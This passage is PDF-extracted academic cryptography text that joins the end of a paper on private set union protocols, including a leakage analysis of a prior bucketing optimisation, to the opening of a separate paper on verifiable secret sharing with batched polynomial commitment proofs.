from Cuckoo hashing in Appendix B.2.

Sender ( ) 

-

-

-

-

-

pad with
special item     

add a
special

item     to
each bin

pad with different
dummy items 

Receiver ( ) 

or

Figure 10: The bucketing technique in [19].

Optimization via bucketing. In order to improve the per-
formance, Kolesnikov et al. [19] proposed to optimize their
protocol by using the bucketing technique, as shown in Fig-
ure 10. More specifically, the sender and receiver in [19] first
assign their items in X and in Y , into two simple hash tables
with the same number of bins, and the maximum bin sizes are
assumed to be ρ1 and ρ2, respectively. Then they perform the
(ρ1,ρ2)-PSU sub-protocol on the items of each bin separately.
As pointed out by Kolesnikov et al. in [19], however, the buck-
eting technique will leak the information “which bins contain
items in X ∩Y ” to the receiver. To avoid this leakage, in [19]
the receiver is required to put a special item ⊥ into each bin,
and to pad the bins with different dummy items d, while the
sender pads his bins with the special item ⊥. For example, in
Figure 10, the items {x6,x2,x10} of X are mapped to the first
bin of the sender’s simple hash table, and the items {y3,y8}
of Y are mapped to the first bin of the receiver’s hash table.
Without the special item ⊥, if x2 = y3, the receiver can learn
that an item belonging to X ∩Y is in {y3,y8} after executing
the (ρ1,ρ2)-PSU. By adding the special item ⊥ to both sides,
if the receiver learns that an item from the sender belongs to
{y3,⊥,y8,d}, it seems that the receiver cannot know whether
the item is a real item (namely, in X) or the special item ⊥.
Unfortunately, we observe that this strategy is insufficient
to avoid the leakage incurred by the bucketing technique. A
detailed analysis is given below.

Leakage analysis. For ease of exposition, we take the 4th
(ρ1,ρ2)-PSU sub-protocol in Figure 10 as an example to ex-
plain why the optimization in [19] fails to hide the intersection
information. After the execution of the sub-protocol over the
4th bins, if the receiver does not obtain any items from the
sender (that is, all items in the sender’s 4th bin belong to
the subset in the receiver’s 4th bin i.e., {d,⊥,y5,y7}), then
the receiver could obtain additional information about the
intersection. Concretely, one of the following will occur:

Case1: all the real items that are mapped to the sender’s
bin (say x4 in Figure 10) belong to {y5,y7};
Case2: no real items are mapped to the sender’s bin (i.e.,
all items are special item ⊥).

We denote the probability that Case1 and Case2 occur by
Pr[Case1] and Pr[Case2], respectively. Clearly, if the receiver
is able to determine that Case1 occurs with certain (high)
probability, she will know that items belonging to X ∩Y
are in {y5,y7} with the same probability. Next we provide
our estimation of the probability that Case1 occurs. Note
Pr[Case1] = 1−Pr[Case2]; we now bound Pr[Case2]. In gen-
eral, assuming that there are αn bins and n items and the hash
mapping is a random oracle, the probability Case2 occurs is
P = Pr[Case2] = (1− 1

αn )
n ≈ e−1/α.

Based on the parameters in [19], we calculate the proba-
bility P for different set sizes as shown in Table 10. From
the results, we can see that the probability P is very small.
For example, when the set size is n = 220, P = 5.778×10−8.
This means that when the receiver finds that all items in a bin
belong to the intersection, she can learn that this bin has at
least one real item with probability 1−5.778×10−8, and that
her corresponding bin contains at least an item in X ∩Y with
the same probability. Hence, their approach is insufficient to
avoid the leakage incurred by the bucketing technique.

On the contrary, in our ΠR
PSU shown in Figure 8, for an item

xi in X ∩Y , the receiver will find a F(k,a j) ∈ Ii where a j is
the share of yπ−1( j), which means that yπ−1( j) is the item equal
to xi. But from the receiver’s point of view, any item in Y may
corresponds to F(k,a j) as she does not know π, and thus any
item in Y may be the item in X ∩Y . In our ΠS

PSU shown in
Figure 9, the receiver’s set Y is inserted into a simple hash
table as in [19], but our protocol does not suffer from the
leakage analyzed before. This is because we use the shuffling
technique to hide which bins contain items in X ∩Y . To sum
up, in ΠR

PSU and ΠS
PSU, any item in Y may be the item in X∩Y ,

whereas in the protocol [19], the receiver can know that items
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belonging to X ∩Y are in a bin (namely, a subset of Y ) with a
overwhelming probability.

6 Discussion

In this work, we focus on designing efficient PSU protocols
for both balanced and unbalanced datasets. Somewhat sur-
prisingly, our techniques can also be used for designing PSI
protocols with only slight modification. With our techniques,
it is extremely convenient to design fast protocols when both
functionalities, set intersection and set union, are required;
details are below.

Recall that in ΠR
PSU, the receiver sets bi depending on

whether the sender’s item xi belongs to her set Y ; if xi ∈ Y ,
sets bi = 1, otherwise bi = 0. Then through FOT the receiver
obtains xi if bi = 0, and nothing otherwise. To obtain a PSI
protocol from ΠR

PSU, the receiver only needs to set b′i = bi⊕1
and obtains the sender’s items through FOT according to b′i,
rather than bi. In this way, the receiver will obtain the sender’s
items belonging to Y . Thus we obtain a PSI protocol, denoted
by ΠR

PSI. In ΠS
PSU, the sender sends the shares of the items

in X \Y according to the bit string U , then the receiver uses
them to recover the items in X \Y . Therefore, the sender can
send the shares associated with the items in X ∩Y by flipping
each bit in U , and then the receiver will obtain items in X ∩Y .
Thus we obtain a PSI protocol, denoted by ΠS

PSI.
It can be seen that ΠR

PSI and ΠS
PSI are obtained from the

PSU protocols with almost no extra overhead. Therefore, it is
believed that they have nearly the same performance as the
proposed PSU protocols. Due to the page limit, we leave their
formal descriptions and security analysis to future work.

In addition, as stated in Section 1.3, it is desirable to have
better PSU protocols designed. Notice that our protocols,
ΠR

PSU and ΠS
PSU are designed in a modular manner; thus,

a natural way to achieve better performance is to improve
the performance of the underlying building blocks. More
concretely, if the underlying Permute+Share protocol can
be designed with linear complexity, the cost of ΠR

PSU and
ΠS

PSU can be reduced to be linear. Finally, it is also interesting
to design PSU with better security (e.g., defending against
malicious adversaries) and/or with better functionalities (e.g.,
new variants of PSU including multi-party PSU and PSU
with payload).
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A Additional Materials for Section 2:
Building blocks

In this section, we show the formal functionalities of the main
building blocks, including Permute+Share functionality

FPS in Figure 11, multi-point OPRF functionality FmpOPRF

in Figure 12, and 1-out-of-2 Oblivious Transfer functionality
FOT in Figure 13.

Parameters:

• Two parties: P0 and P1;

• Set size n for P0;

• Length of element ℓ.

Functionality:

1. Wait for input X = {x1, · · · ,xn} from P0, abort if |X | ̸= n, or
∃ xi ∈ X such that |xi|> ℓ;

2. Wait for input a permutation π from P1, abort if π is not a
permutation on n items;

3. Give output shuffled shares {sπ(1),sπ(2), · · · ,sπ(n)} to P0,
and another shuffled shares
{xπ(1)⊕ sπ(1),xπ(2)⊕ sπ(2), · · · ,xπ(n)⊕ sπ(n)} to P1.

Functionality FPS

Figure 11: Permute+Share functionality.

Parameters:

• Two parties: P0 and P1;

• A PRF F(·, ·).
Functionality:

1. Wait for input X = {x1, · · · ,xn} from P0;

2. Randomly select a key k for F(·, ·);
3. Give output {F(k,x1),F(k,x2), · · · ,F(k,xn)} to P0, and the

key k to P1.

Functionality FmpOPRF

Figure 12: Multi-Point OPRF functionality.

Parameters:

• Two parties: P0 and P1.

Functionality:

1. Wait for input {x0,x1} from P0;

2. Wait for input b ∈ {0,1} from P1;

3. Give output xb to P1.

Functionality FOT

Figure 13: 1-out-of-2 Oblivious Transfer functionality.

B Additional Materials for Section 5

In this section, we first describe the protocol in [19], and then
further explain why the protocol in [19] and earlier construc-
tions [7, 9] cannot benefit from Cuckoo hashing.
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B.1 Details of the protocol in [19]

According to the design idea in [19], we first give the protocol
for (1,n)-PSU where the sender only holds an item x∗ and
the receiver holds a set Y = {y1, · · · ,yn} in Figure 14. More
specifically, their protocol works in the following way: the
two parties first execute an OPRF sub-protocol for F , then
the sender obtains F(k,x) without knowing k and the receiver
obtains the PRF key k. After that, the receiver interpolates a
polynomial P over points {(y,s⊕F(k,y))}y∈Y , where s is a
random value chosen by the receiver, and sends P to the sender.
Once receiving the polynomial P, the sender calculates s′ =
P(x)⊕F(k,x) and sends s′ to the receiver. Then the receiver
checks if s′= s. If not, meaning that x /∈Y , the receiver obtains
x through OT, otherwise obtains a dummy item.

Kolesnikov et al. [19] extend (1,n)-PSU to the general
case (namely, (n1,n2)-PSU) by repeatedly using (1,n)-PSU.
Then in Figure 15, we give the protocol for (n1,n2)-PSU
where the sender and receiver hold X = {x1, · · · ,xn1} and
Y = {y1, · · · ,yn2}, respectively. Note that for each sender’s
item, both the secret value s and the key k for OPRF need
to be refreshed, otherwise the sender can learn information
about the intersection.

Parameters:

• A bit-length ℓ;

• Ideal functionalities FOT and FOPRF (F(k,x) ∈ {0,1}σ);

• A collision-resistant hash function h(x) : {0,1}ℓ→{0,1}σ;

Inputs:

• Sender S : x∗ ∈ {0,1}ℓ;
• Receiver R : set Y = {y1, · · · ,yn},yi ∈ {0,1}ℓ;

Protocol:

1. S acts as FOPRF receiver, sends x∗ to FOPRF, and S
receives q∗ = F(k,x∗) and R receives k;

2. R randomly picks s $←− {0,1}σ, and interpolates a
polynomial P(y) over points {(h(yi),s⊕qi)} where
qi = F(k,yi),∀i ∈ [n]. Here s⊕qi is computed as operation
on σ-bit strings.

3. R sends the coefficients of P(y) to S ;

4. S computes s∗ = P(h(x∗))⊕q∗ and sends it to R ;

5. S and R invoke FOT:

– R acts as receiver with input 1 if s∗ = s and input 0
otherwise;

– S acts as sender with input (x∗,⊥);

6. If s∗ = s, then R gives output Y . Otherwise, it learns x∗ and
outputs Y ∪ x∗.

(1,n)-PSU protocol in [19]

Figure 14: (1,n)-PSU protocol in [19].

B.2 Discussion about Cuckoo hashing
As for Cuckoo hashing, Kolesnikov et al. [19] pointed out that
"this hashing scheme (and the corresponding performance
improvement) does not immediately fit in the PSU case."
Recall that the protocols [7, 9, 19] share the same design
framework as in Figure 1. We can see that the sender’s set can
be inserted into Cuckoo hash table. Then, for the item in each
bin of Cuckoo hash table, the receiver will check if it belongs
to the intersection, if not, the receiver will get the item. Note
that the receiver also knows the item’s position in Cuckoo
hash table. Since the position of an item in Cuckoo hash table
is also affected by other items, the receiver can obtain partial
information about the sender’s entire input set based on the
received item and its position in Cuckoo hash table.

Parameters:

• A bit-length ℓ and n =max(n1,n2);

• Number of bins β = β(n), hash function H : {0,1}ℓ→ [β],
and max bin size m;

• A special item ⊥∈ {0,1}∗;
Inputs:

• Sender S : X = {x1, · · · ,xn1},xi ∈ {0,1}ℓ

• Receiver R : set Y = {y1, · · · ,yn2},yi ∈ {0,1}ℓ;
Protocol:

1. S and R hash items of their sets X and Y into β bins under
hash function H. Let BS [i] and BR [i] denote the set of
items in the sender’s and receiver’s i-th bin, respectively;

2. S pads each bin BS [i] with the special item ⊥ up to the
maximum bin size m+1, and randomly permutes all items
in this bin;

3. R pads each bin BR [i] with one special item ⊥ and
different dummy items to the maximum bin size m+1;

4. R initializes set Z = /0;

5. For each bin i ∈ [β], for each item x j ∈ BS [i]:

– S and R invoke the (1,n)-PSU sub-protocol in
Figure 14 and n = m+1:

* S acts as sender with input x j;

* R acts as receiver with input set BR [i];

* R obtains output Zi, j and sets Z = Z∪Zi, j;

6. R outputs Z.

(n1,n2)-PSU protocol in [19]

Figure 15: (n1,n2)-PSU protocol in [19].
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Abstract
Verifiable Secret Sharing (VSS) is a foundational crypto-
graphic primitive that serves as an essential building block in
multi-party computation and decentralized blockchain appli-
cations. One of the most practical ways to construct VSS is
through a polynomial commitment, where the dealer commits
to a random polynomial whose 0-th coefficient encodes the se-
cret to be shared, and proves the evaluation of the committed
polynomial at a different point to each of N verifiers, i.e., the
polynomial commitment is used in a “one-to-many” fashion.

The recent work of Tomescu et al. (IEEE S&P 2020) was
the first to consider polynomial commitment with “one-to-
many prover batching”, such that the prover can prove evalua-
tions at N different points at the cost of Õ(1) proofs. However,
their scheme is not optimal and requires a trusted setup.

In this paper, we asymptotically improve polynomial com-
mitment with one-to-many prover batching. We propose two
novel schemes. First, we propose a scheme with optimal
asymptotics in all dimensions in the trusted setup setting.
Second, we are the first to consider one-to-many prover batch-
ing for transparent polynomial commitments, and we pro-
pose a transparent scheme whose performance approximately
matches the best-known scheme in the trusted setup setting.

We implement our schemes and evaluate their performance.
Our scheme in the trusted setup setting improves the proof
size by 20× and the verifier time by 7.8× for 221 parties,
with a small overhead on the prover time. Our transparent
polynomial commitment removes the trusted setup and further
improves the prover time by 2.3×.

1 Introduction

In an (N, t + 1) Verifiable Secret Sharing (VSS) proto-
col [3,9,11,25,32], roughly speaking, there is a dealer and N
receivers. The dealer has a secret s, and it wants to split s into
N shares, and gives out one share to each receiver. The secret
s can be reconstructed if at least t +1 receivers combine their
shares. However, any coalition of t or fewer receivers can-
not learn any information about s (assuming that the dealer is

honest). The scheme is “verifiable” if honest receivers can reli-
ably detect a cheating dealer who deals internally inconsistent
shares to different receivers. VSS is a foundational building
block and widely used in multi-party computation [3, 9, 32],
threshold cryptosystems [32, 35], and distributed key gen-
eration (DKG) [23, 24, 35]. Recently, VSS has received in-
creasing attention since decentralized blockchains provide a
large-scale playground for threshold cryptosystems [20, 35].

Several recent works [25, 35] showed that round-efficient
VSS can be constructed from polynomial commitment
schemes — this is one of the most practical approaches for
constructing VSS. In a polynomial commitment scheme, a
dealer (also called a prover) can produce a commitment c of a
polynomial f whose coefficients are assumed to be in some fi-
nite field. Later, during an opening phase, the dealer can claim
that the committed polynomial evaluates to y at a given point x,
and it can prove to a verifier that this is indeed the correct eval-
uation result by producing an ideally succinct proof π. Given
a polynomial commitment scheme, it is relatively straightfor-
ward to construct a VSS scheme [25, 35]. Specifically, the
dealer chooses a random degree-t polynomial f whose 0-th
coefficient encodes the secret s. The dealer now commits to
the polynomial and broadcasts the commitment c to all re-
ceivers. Next, it chooses N distinct points x1,x2, . . . ,xN , and
gives yi = f (xi) to receiver i ∈ [N] respectively, and proves
to the receiver that the purported outcome yi is correct with
respect to the commitment c. If the dealer is honest, then opti-
mistically the protocol can end here. If the dealer is dishonest
and deals incorrect shares to many receivers, the receivers can
resort to some complaint mechanism to disqualify the dealer
(assuming a synchronous network).

To construct VSS from polynomial commitments, the un-
derlying polynomial commitment scheme is used in a one-
to-many fashion, i.e., for the same committed polynomial,
the dealer needs to prove N evaluations on different points
to N different receivers. To produce these N proofs, a naïve
approach is for the prover to repeat N times the proving algo-
rithm of the underlying polynomial commitment scheme, thus
incurring N times the computational overhead. The recent
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work of Tomescu et al. [35] showed an elegant one-to-many
prover batching technique for the well-known KZG polyno-
mial commitment [25], such that the dealer can produce N
proofs with only Õ(1) slowdown (relative to computing a sin-
gle proof). Tomescu et al.’s work, however, does not achieve
prove batching directly for the KZG scheme, but rather, a
more involved variant of KZG. It breaks down the proof gen-
eration of the KZG scheme into logN steps and constructs
an authenticated multipoint evaluation tree (AMT) to store
redundant computations and improve the efficiency of mul-
tiple proofs. Consequently, the verification time and proof
size become a logarithmic factor more costly than the original
KZG protocol. Another limitation of Tomescu et al.’s work
is that it relies on a trusted setup. If the trusted setup is com-
promised, then the soundness of the scheme can be broken.
In decentralized blockchain applications, such a trusted setup
is undesirable.

In this paper, we revisit the interesting direction suggested
by Tomescu et al. [35]. We ask the following two questions:

1. Can we achieve one-to-many prover batching directly for
the KZG polynomial commitment? If so, can we preserve
the optimal verification time and proof size of KZG, while
computing N proofs for the cost of one (or for the cost of
Õ(1) proofs)?

2. Can we approximately match the asymptotic overhead
of Tomescu et al. [35] in all dimensions, but remove the
trusted setup?

1.1 Our Results and Contributions

We answer these questions with two novel constructions of
“polynomial commitment with one-to-many prover batching”.

• Prover batching for the KZG polynomial commitment.
The first contribution is a new algorithm for computing N
KZG proofs for the same committed polynomial, paying
the cost of only Õ(1) proofs. Since our algorithm does not
modify the underlying KZG polynomial commitment, we
inherit the constant verification time and constant proof
size of KZG. Our scheme achieves asymptotic optimal-
ity in all dimensions: the proof size and verification time
are optimal; the prover time for generating N proofs is
O(N logN) which is also optimal, since simply evaluating
the polynomial at N different points would incur N logN
time using the Fast Fourier Transformation (FFT), assum-
ing that t =Θ(N). Therefore, our scheme also subsumes the
results of the original Kate et al.’s paper [25] and Tomescu
et al.’s paper [35]1.

1After submitting our paper, we found that the same algorithm was
also proposed independently by Dankrad Feist and Dmitry Khovratovich
at https://github.com/khovratovich/Kate. We thank Alin Tomescu
for pointing it out.

• Transparent polynomial commitment with prover
batching. Our second contribution is a transparent poly-
nomial commitment scheme where a dealer can produce
N proofs in O(N logN) time, and the verification time and
proof size are both O(log2 N). Here, the prover time is op-
timal for the same reason as mentioned earlier. Both the
proof size and the verification time are succinct and only a
logarithmic factor worse than Tomescu et al. [35].

• Implementation and evaluation. We fully implemented
both our schemes and evaluated their performance. We
then used our new “polynomial commitment schemes with
prover batching” to implement VSS and DKG protocols.
We compared the efficiency of the resulting schemes with
prior work in the same setting. With N = 221 parties,
our KZG-based polynomial commitment and the corre-
sponding VSS scheme reduced the proof size of the AMT
scheme [35] by 20×, reduced the verifier time by 7.8×,
while introducing a small overhead of 3× on the prover
time. These led to 3.3× better computation time and 20×
smaller communication in the DKG scheme. Our trans-
parent scheme not only removes the trusted setup but also
improves the prover time by an order of magnitude. How-
ever, it does introduce a large proof size. Our code is open
source (the code is available at https://github.com/
sunblaze-ucb/eVSS).

• Techniques: “one-to-many zero-knowledge proof”. To
construct our transparent polynomial commitment with
prover batching, we come up with a more general technique
which can be of independent interest and lead to other in-
teresting applications. Basically, consider a circuit C with
N outputs, wherein the prover wants to prove one output
to each verifier respectively. We give a “one-to-many zero-
knowledge proof” construction where the prover’s computa-
tion is only Õ(|C|) where |C| denotes the size of C, whereas
a straightforward application of existing techniques where
the prover produces a separate proof for each verifier would
have incurred at least N · |C| prover time.

Table 1 shows how our “polynomial commitment with
one-to-many prover batching” compares with prior schemes.
Given such a polynomial commitment scheme, one can di-
rectly construct (synchronous) VSS and DKG using exist-
ing techniques described by Tomescu et al. [35]. Table 2
shows the asymptotic overhead of the resulting VSS and DKG
schemes and how our work improves over prior work.

1.2 Technical Highlights

1.2.1 Transparent Polynomial Commitment with
Prover Batching

A naïve idea is to commit to the coefficients of the polyno-
mial f using a vector commitment, resulting in a concise
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Table 1: Polynomial commitment with a one-to-many prover:
comparison with prior works. We assume t = Θ(N).

Scheme Trans. P time V time Proof size
KZG [25] 7 O(N2) O(1) O(1)
AMT [35] 7 O(N logN) O(logN) O(logN)
hbACSS [40] 3 O(N2) O(N) O(logN)

Our KZG-based 7 O(N logN) O(1) O(1)
Our Transparent 3 O(N logN) O(log2 N) O(log2 N)

• Trans. means without a trusted setup. P time represents the dealer time for
producing all N proofs. V time represents the verification time per verifier.

commitment c. Now, the dealer can use a non-interactive zero-
knowledge proof system to produce a proof that vouches for
the evaluation at a specific point. Since the dealer needs to
produce a proof for each of the N verifiers, the naïve approach
is to repeat the zero-knowledge proof N times — however,
this approach would result in at least N2 prover time for pro-
ducing all N proofs (since evaluating the polynomial at each
point requires at least N amount of computation).

Note that if the dealer only had to evaluate the polynomial
f at N different points without having to produce proofs, this
could be accomplished through the Fast Fourier Transform
(FFT) in O(N logN) time. The intriguing question is whether
we can evaluate the polynomial at all N points and produce
all N proofs in O(N logN) time as well.

A more general problem: one-to-many zero-knowledge
proof. To answer this question, we in fact turn our attention
to a more general problem. Suppose that there is some circuit
C with N different outputs. There are N verifiers, and each of
them cares about receiving and verifying one of the outputs of
C. Can the prover produce all N proofs in time Õ(|C|) where
|C| denotes the size of the circuit2? Note that in comparison,
the naïve approach of repeating the ZKP independently N
times would result in at least N · |C| prover time.

Brief background on GKR. To achieve this, we will base
our scheme on Virgo [41], which is in turn based on the fa-
mous GKR protocol [19]. For simplicity, we will explain our
intuition without worrying about zero-knowledge, and there-
fore we can think of the original GKR protocol. It helps to first
consider the interactive version, and then we will describe a
new Fiat-Shamir-style transformation to make our interactive
protocol non-interactive in the random oracle model.

In the GKR protocol, the prover starts with the output layer
(henceforth called the last layer). Proving the output layer
boils down to proving a sumcheck statement for a special
polynomial that encodes the wiring structure of the output
layer of the circuit. This sumcheck would then be reduced to
proving two sumchecks for the last but one layer, which can
be coalesced into a single sumcheck proof (for the last but
one layer) by taking random linear combinations. This goes
on recursively layer by layer. If the prover simply ran GKR
with each verifier separately, the prover would have to prove
a different statement to each verifier at every layer.

2We use the notation Õ to hide polylogarithmic factors.

Idea 1: using an extra sumcheck protocol to unify state-
ments for all layers. Our idea is to introduce a clever sum-
check protocol after the output layer, such that after the sum-
check protocol with each verifier, the prover would be proving
the same statement to all N verifiers for all other layers, as
long as all verifiers use the same random challenges in every
round of the protocol. This way, except for proof component
corresponding to the extra sumcheck, computing the proof
components for all other layers is a shared effort among all
verifiers. Moreover, we propose a new algorithm for the prover
to run all sumchecks with N verifiers in O(N logN) time. We
defer the details of the construction to Section 3.
Idea 2: a new Fiat-Shamir-style transformation to make
it non-interactive. With the first idea, we could achieve
prover batching as long as all verifiers use the same random
challenges in every round of the interactive protocol. Our
final construction is non-interactive, and to achieve this we
describe a new Fiat-Shamir-style transformation such that the
prover can emulate the verifiers’ challenges non-interactively
by making queries to a random oracle.

Note that applying the standard Fiat-Shamir transformation
does not work for us since we additionally require that the
random challenges are shared among all verifiers in each
round. Recall that the standard Fiat-Shamir transformation
queries the random oracle on the transcript with the verifier
so far. In our case, the transcript with each verifier differs in
the output layer. If we simply hashed the entire transcript, it
would result in different challenges for different verifiers.

A conceptually simple but somewhat inefficient approach to
overcome this discrepancy among verifiers is to use a Merkle
tree to hash all verifiers’ transcripts and use the root as a uni-
fied random challenge among all verifiers. The prover also
needs to send the corresponding Merkle branch to each indi-
vidual verifier, such that a verifier can ascertain that its view
of the transcript so far has been incorporated in generating the
random challenge. A similar idea was suggested by Yurek et
al. [40] but for a somewhat different purpose. The drawback
with this approach is that it incurs a logarithmic blowup in
proof size and verifier time for every round of the protocol.

Our final approach is a hybrid one. We apply the Merkle
tree only to the first logarithmically many rounds, i.e., rounds
for the extra sumcheck protocol after the output layer. Re-
call that for every other layer in the circuit, the prover would
be proving the same statement to all verifiers, and therefore
the transcripts among the verifiers would converge after the
extra sumcheck protocol. Thus for all other layers, we can
rely on the standard Fiat-Shamir heuristic. This hybrid ap-
proach would save us a logarithmic factor in comparison with
applying Merkle hash tree to every round.
Proving soundness of our new Fiat-Shamir-style trans-
form. In the most general setting, the standard Fiat-Shamir
transformation is known to work only for constant-round in-
teractive proofs if we want the soundness loss in the reduction
to be polynomially bounded. In our case, the original inter-
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Table 2: Comparison of our schemes and prior works in VSS and DKG settings. We assume t = Θ(N).

Scheme Trans. Broad- Optimistic case Worst-case‡

cast P time V time Communication P time V time Communication
Feldman-VSS [15] 3 O(N) O(N logN) O(N) O(N) O(N logN) O(N2) O(N)
eVSS [25] 7 O(1) O(N2) O(1) O(1) O(N2) O(N) O(N)
AMT-VSS [35] 7 O(1) O(N logN) O(logN) O(logN) O(N logN) O(N logN) O(N logN)
hbACSS-VSS [40] 3 O(1) O(N2) O(N) O(logN) O(N2) O(N logN) O(N logN)
Our KZG-based-VSS 7 O(1) O(N logN) O(1) O(1) O(N logN) O(N) O(N)

Our Transparent-VSS 3 O(1) O(N logN) O(log2 N) O(log2 N) O(N logN) O(N log2 N) O(N log2 N)

Table 3: VSS schemes

Scheme Trans. Broadcast Optimistic case Worst-case‡

Computation Communication Computation Communication
JF-DKG [18] 3 O(N) O(N2) O(N) O(N3) O(N2)
eJF-DKG [23] 7 O(1) O(N2) O(N) O(N2) O(N2)
AMT-DKG [35] 7 O(1) O(N logN) O(N logN) O(N2 logN) O(N2 logN)
hbACSS-DKG [40] 3 O(1) O(N2) O(N logN) O(N2 logN) O(N2 logN)

Our KZG-based-DKG 7 O(1) O(N logN) O(N) O(N2) O(N2)

Our Transparent-DKG 3 O(1) O(N log2 N) O(N log2 N) O(N2 log2 N) O(N2 log2 N)

Table 4: DKG schemes (per party overhead)

In this table we only compare VSS/DKG schemes that are in the same synchronous model and incur a constant number of rounds. We discuss other schemes in different settings
(e.g., asynchronous, gossip model with O(logN) rounds) in Section 1.3. Trans. means without a trusted setup. P time represents the dealer’s computation for producing N proofs for
N receivers. V time represents the verification time per receiver. Communication represents the proof size for each receiver in VSS setting and the total communication for each
party in DKG setting. ‡ Worst-case represents Θ(N) bad shares, which results in the complaint round.

active protocol is O(d · logN) rounds where d denotes the
depth of the circuit C. Nonetheless, we can still prove the
soundness of our new Fiat-Shamir-style transformation with
only polynomial loss in soundness in our reduction. To prove
this, we suggest a different way to view our transformation.
We focus on the perspective of a single verifier and consider
a variant (denoted Tdu) of our original interactive protocol. In
Tdu, we introduce some dummy rounds and dummy messages
which correspond to hash computations in the Merkle tree.
We then view our final non-interactive proof as applying an
alternative heuristic transformation to the modified protocol
Tdu. Using this alternative view, we are able to use techniques
from Ben-Sasson et al. [4] to prove soundness. First, we show
that the protocol Tdu satisfies a stronger notion of soundness
called state restoration soundness. Given the stronger sound-
ness property, we can show that applying the aforementioned
heuristic transformation to Tdu gives a sound non-interactive
protocol in the random oracle model.

Putting everything together. So far, we have described our
ideas neglecting the zero knowledge requirement. It is rela-
tively easy to augment the protocol with zero knowledge using
techniques proposed in [10, 39, 41]. The modifications to the
protocol do not fundamentally alter the soundness proof of
our Fiat-Shamir-style transformation. We refer to the details
of how to achieve zero knowledge in the full version.

Summarizing the above, we now have a non-interactive,
one-to-many zero-knowledge proof system with a batched
prover. One-to-many polynomial commitment is a special
case of this more general problem where the circuit C is an
FFT circuit that evaluates the polynomial at N different points.

We emphasize that in solving the one-to-many polynomial
commitment problem, we actually come up with a “one-to-
many zero-knowledge proof” technique that is much more
general, and can be of independent interest and will likely
lead to broader applications.

1.2.2 New Prover Batching

We propose a new prover batching technique for the KZG
polynomial commitment. We review the KZG polynomial
commitment scheme in Section 4.1. Our novel technique is
the following. We show that if the dealer needs to open the
polynomial f at the points ω,ω2, . . . ,ωN where ω is the N-th
root of unity, then the N proof terms can be computed ef-
ficiently using a constant number of FFT and inverse FFT
invocations. Moreover, the FFT computation can be directly
applied to the public parameters of the KZG commitment
scheme in the base group of a bilinear map, without know-
ing the trapdoor, as FFT only involves additions and scalar
multiplications. Observing this requires some more involved
algebraic manipulations which we defer to Section 4.2.

1.3 Related work

VSS. Chor et al. [11] were the first to introduce the
notion of VSS. Feldman [15] constructed the first ef-
ficient Feldman-VSS scheme with homomorphic encryp-
tion schemes. Feldman-VSS is computational hiding and
information-theoretic binding. The following work of Peder-
sen [31] presented a counterpart protocol with information-
theoretic hiding and computational binding. However, both
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schemes broadcast O(N) messages during the dealing phase
and cost O(N) time for each verifier to check the correctness
of the share. Kate et al. [25] reduced the broadcast message
and the verification time to O(1) in eVSS by the constant-
sized KZG polynomial commitment. Their polynomial com-
mitment needed a trusted setup and increased the dealer’s
computation to O(N2). Tomescu et al. [35] achieved a quasi-
linear dealing time at the cost of the O(logN) verification
time. The communication for each verifier also increased to
O(logN).

DKG. VSS plays an essential role in constructing DKG pro-
tocols. Ingemarsson and Simmons [22] first proposed DKG.
Pederson [31] improved their scheme for discrete log-based
cryptosystems. Gennaro et al. [18] showed that the secret
generated by Pederson’s scheme was biased and fixed the
problem in their JF-DKG schemes. Neji et al. [30] debiased
the secret by a more efficient method. Moreover, JF-DKG
scheme was converted into an adaptively secure DKG by
Canetti et al. [8]. All DKG protocols mentioned above need
O(N) broadcast messages. Later on, Kate’s eJF-DKG [23]
tamed the broadcasting cost to O(1) on top of eVSS. Tomescu
et al. [35] built AMT-DKG based on their AMT-VSS scheme
to achieve a space-time trade-off for eJF-DKG. In this work,
our KZG-based-DKG applies our KZG-based-VSS directly to
DKG to remove the overhead on time and space in eJF-DKG
and AMT-DKG respectively. Recently, Gurkan et al. [21] pre-
sented an aggregatable VUF-DKG without a trusted setup. It
achieves O(N log2 N) computation and communication com-
plexity, which is asymptotically the same as our Transparent-
DKG. However, the scheme is in the “gossip” model where
each party sends messages to her neighbors and has logN
rounds.

Disambiguation. In our experiments, we focus on VSS and
DKG in the synchronous setting. Earlier works have also
shown that polynomial commitment schemes give rise to asyn-
chronous VSS and DKG schemes [14, 17, 24, 26, 40]. In the
asynchronous setting, the resulting VSS and DKG schemes
would also benefit from one-to-many prover batching. An
interesting future direction is to apply our prover batching
technique and improve VSS and DKG in the asynchronous
setting.

2 Preliminary

We use negl(·) : N→ R to denote the negligible function,
where for each positive polynomial f (·), negl(k) < 1

f (k) for
sufficiently large integer k. We use nonegl(·) : N→ R to de-
note the complement of negl(·). Let λ denote the security
parameter. “PPT" stands for Probabilistic Polynomial Time.
We use f (),h() for polynomials, x,y,z for single variable,
~x,~y,~z for vectors of variables and~g,~u,~v for vectors of values.
xi denotes the i-th element in ~x. We use capital letters such
as A to represent arrays in algorithms, and A[i] denotes the

i-th element in the array. For a multivariate polynomial f , its
“variable-degree” is the maximum degree of f in any of its
variables. Let [k] denote the set of {0,1, . . . ,k−1}.

Let F be a prime field. We use ω0, . . . ,ωN−1 to denote
N roots of unity on F such that ωN = 1 in F. Let H =
{ω0, . . . ,ωN−1} be a subset of F. We often rely on polyno-
mial arithmetics, which can be efficiently performed via fast
Fourier transforms (FFT) and their inverses (IFFT). In partic-
ular, polynomial evaluations and interpolations over H can
be performed in O(N logN) field operations via the standard
FFT and IFFT algorithms [12].

Convolution of two vectors: Let A,B be two arrays of length
n. Their convolution, denoted as C = A ∗ B, is defined as:
C[ j] = ∑

j
i=0 A[i]B[ j− i], for j ∈ [2n], assuming the values of

vectors A and B are zeros when the index is out of range (i.e.,
≥ n). It is known that the convolution is equivalent to the
multiplication of two polynomials, which can be computed
efficiently using FFT and inverse FFT. In particular, C =
IFFT(FFT(A)�FFT(B)), where � denotes the Hadamard
(element-wise) product, and the two FFTs evaluate A and B
on 2n points.

Merkle Tree. Merkle tree [29] has been widely used for
the vector commitment because of its simplicity and effi-
ciency. The prover time is linear in the size of the vector
while the verifier time and proof size are logarithmic in the
size of the vector. Given a vector of~r = (r0, . . . ,rN−1), it con-
sists of three algorithms:rt←MT.Commit(~r), (ri,pathi)←
MT.Open(i,~r) and {1,0}←MT.Verify(rt, i,ri,pathi).

We require not only the root to be hiding, but also open-
ing~r at the index of i does not leak any information about
~r other than ri, which is treated as the privacy property
of Merkle tree. Formally speaking, for any vector ~r of
size N, any PPT algorithm A , there exists a simulator SMT

such that rt←MT.Commit(~r), (ri,pathi)←MT.Open(i,~r),
rt′,path′i← SMT(ri,N),

|Pr[A(rt,ri,pathi) = 1]−Pr[A(rt′,ri,path
′
